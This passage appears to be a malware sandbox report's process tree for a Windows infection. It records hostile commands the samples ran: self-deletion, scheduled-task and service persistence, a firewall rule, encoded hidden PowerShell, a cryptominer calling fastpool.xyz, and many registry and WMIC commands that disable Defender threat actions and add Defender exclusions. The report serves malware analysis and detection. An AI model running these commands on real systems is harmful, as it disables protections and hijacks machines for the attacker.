  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:6928

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:2848

C:\Users\Admin\AppData\Local\Temp\F1A0.exe
C:\Users\Admin\AppData\Local\Temp\F1A0.exe
1⤵
PID:5060

C:\Users\Admin\AppData\Local\Temp\33F9.exe
C:\Users\Admin\AppData\Local\Temp\33F9.exe
1⤵
PID:6896
- C:\Users\Admin\AppData\Local\Temp\33F9.exe
  C:\Users\Admin\AppData\Local\Temp\33F9.exe
  2⤵
  PID:4344
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\338f293b-7b4c-42aa-8126-1e711100ba86" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:8196
- - C:\Users\Admin\AppData\Local\Temp\33F9.exe
    "C:\Users\Admin\AppData\Local\Temp\33F9.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    PID:6932
  - - C:\Users\Admin\AppData\Local\Temp\33F9.exe
      "C:\Users\Admin\AppData\Local\Temp\33F9.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:9012
    - - C:\Users\Admin\AppData\Local\e1615445-2b0d-461f-bbfa-b99c29772db9\build2.exe
        
        "C:\Users\Admin\AppData\Local\e1615445-2b0d-461f-bbfa-b99c29772db9\build2.exe"
        5⤵
        
        PID:1728
      - C:\Users\Admin\AppData\Local\e1615445-2b0d-461f-bbfa-b99c29772db9\build2.exe
        
        "C:\Users\Admin\AppData\Local\e1615445-2b0d-461f-bbfa-b99c29772db9\build2.exe"
        6⤵
        
        PID:7772
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\e1615445-2b0d-461f-bbfa-b99c29772db9\build2.exe" & del C:\ProgramData\*.dll & exit
        7⤵
        
        PID:1092
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im build2.exe /f
        8⤵
        Kills process with taskkill
        
        PID:7776
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        8⤵
        Delays execution with timeout.exe
        
        PID:7432
    - - C:\Users\Admin\AppData\Local\e1615445-2b0d-461f-bbfa-b99c29772db9\build3.exe
        
        "C:\Users\Admin\AppData\Local\e1615445-2b0d-461f-bbfa-b99c29772db9\build3.exe"
        5⤵
        
        PID:4668
      - C:\Users\Admin\AppData\Local\e1615445-2b0d-461f-bbfa-b99c29772db9\build3.exe
        
        "C:\Users\Admin\AppData\Local\e1615445-2b0d-461f-bbfa-b99c29772db9\build3.exe"
        6⤵
        
        PID:6188
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:7960

C:\Users\Admin\AppData\Local\Temp\62AB.exe
C:\Users\Admin\AppData\Local\Temp\62AB.exe
1⤵
PID:1820

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:3840
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:7656

C:\Users\Admin\AppData\Local\Temp\9A57.exe
C:\Users\Admin\AppData\Local\Temp\9A57.exe
1⤵
PID:8968
- C:\Users\Admin\AppData\Local\Temp\9A57.exe
  C:\Users\Admin\AppData\Local\Temp\9A57.exe
  2⤵
  PID:1960

C:\Users\Admin\AppData\Local\Temp\9A37.exe
C:\Users\Admin\AppData\Local\Temp\9A37.exe
1⤵
PID:8980

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:9104
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding C68FDF61120D2EA87F1CFD4DEA67FBF8 C
  2⤵
  PID:8724
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 8D8AF592A2BB03222412C4FDC651EEF5
  2⤵
  PID:8628
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:8232

C:\Users\Admin\AppData\Local\Temp\AE7C.exe
C:\Users\Admin\AppData\Local\Temp\AE7C.exe
1⤵
PID:7436
- C:\Users\Admin\AppData\Local\Temp\AE7C.exe
  C:\Users\Admin\AppData\Local\Temp\AE7C.exe
  2⤵
  PID:8572

C:\Users\Admin\AppData\Local\Temp\DBB7.exe
C:\Users\Admin\AppData\Local\Temp\DBB7.exe
1⤵
PID:5656

C:\Users\Admin\AppData\Local\Temp\EA5E.exe
C:\Users\Admin\AppData\Local\Temp\EA5E.exe
1⤵
PID:8272

C:\Users\Admin\AppData\Local\Temp\2E9.exe
C:\Users\Admin\AppData\Local\Temp\2E9.exe
1⤵
PID:4568
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\2E9.exe"
  2⤵
  PID:6004
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:7680

C:\Users\Admin\AppData\Local\Temp\4C57.exe
C:\Users\Admin\AppData\Local\Temp\4C57.exe
1⤵
PID:3028
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hjmlulox\
  2⤵
  PID:8656
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qvrjhkw.exe" C:\Windows\SysWOW64\hjmlulox\
  2⤵
  PID:5900
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" create hjmlulox binPath= "C:\Windows\SysWOW64\hjmlulox\qvrjhkw.exe /d\"C:\Users\Admin\AppData\Local\Temp\4C57.exe\"" type= own start= auto DisplayName= "wifi support"
  2⤵
  PID:7564
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" description hjmlulox "wifi internet conection"
  2⤵
  PID:8528
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" start hjmlulox
  2⤵
  PID:6212
- C:\Windows\SysWOW64\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
  2⤵
  PID:8992

C:\Users\Admin\AppData\Local\Temp\5B0D.exe
C:\Users\Admin\AppData\Local\Temp\5B0D.exe
1⤵
PID:4668

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:2820

C:\Users\Admin\AppData\Local\Temp\8134.exe
C:\Users\Admin\AppData\Local\Temp\8134.exe
1⤵
- Executes dropped EXE
PID:908

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:412
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:5420

C:\Users\Admin\AppData\Local\Temp\B312.exe
C:\Users\Admin\AppData\Local\Temp\B312.exe
1⤵
PID:5924

C:\Windows\SysWOW64\hjmlulox\qvrjhkw.exe
C:\Windows\SysWOW64\hjmlulox\qvrjhkw.exe /d"C:\Users\Admin\AppData\Local\Temp\4C57.exe"
1⤵
PID:8856
- C:\Windows\SysWOW64\svchost.exe
  svchost.exe
  2⤵
  PID:5212
- - C:\Windows\SysWOW64\svchost.exe
    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
    3⤵
    PID:8012

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:7340
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:4132

C:\Users\Admin\AppData\Local\Temp\D3BB.exe
C:\Users\Admin\AppData\Local\Temp\D3BB.exe
1⤵
PID:5424

C:\Users\Admin\AppData\Local\Temp\E177.exe
C:\Users\Admin\AppData\Local\Temp\E177.exe
1⤵
PID:4944
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\E177.exe"
  2⤵
  PID:8968
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:7228

C:\Users\Admin\AppData\Local\Temp\F7EE.exe
C:\Users\Admin\AppData\Local\Temp\F7EE.exe
1⤵
PID:7664
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMgAwAA==
  2⤵
  PID:4320
- C:\Users\Admin\AppData\Local\Temp\F7EE.exe
  C:\Users\Admin\AppData\Local\Temp\F7EE.exe
  2⤵
  PID:9064

C:\Users\Admin\AppData\Local\Temp\1173.exe
C:\Users\Admin\AppData\Local\Temp\1173.exe
1⤵
PID:2184

C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\TkNUdlt.exe
C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\TkNUdlt.exe W8 /site_id 668658 /S
1⤵
PID:6160
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
  2⤵
  PID:3876
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
    3⤵
    PID:8880
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
      4⤵
      PID:8796
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
        5⤵
        
        PID:7624
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
        6⤵
        
        PID:4536
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
    3⤵
    PID:6304
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
      4⤵
      PID:2760
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
        5⤵
        
        PID:6280
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
        6⤵
        
        PID:7600
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:4632
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:8552
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:8996
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7896
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:7492
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1592
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:8076
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4520
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4428
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:8996
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:8636
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9032
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5900
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3028
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:8768
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:8728
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:8152
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:8576
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:8508
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9032
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:7492
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1592
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:9116
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7960
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4492
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7056
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NMbcPgNClKinC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NMbcPgNClKinC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\STjmdXhOU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\STjmdXhOU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YceypsUXabDXnCzNCPR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YceypsUXabDXnCzNCPR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZHcfdgyasGUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZHcfdgyasGUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gaSWcYIjjvwU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gaSWcYIjjvwU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\QPFeEjmgnBUOfRVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\QPFeEjmgnBUOfRVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nyFjvKGtfVGLAKAU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nyFjvKGtfVGLAKAU\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  PID:8828
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:6976
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:7364
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:8892
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\STjmdXhOU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:8456
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\STjmdXhOU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:8836
- - C:\Windows\SysWOW64\reg.exe
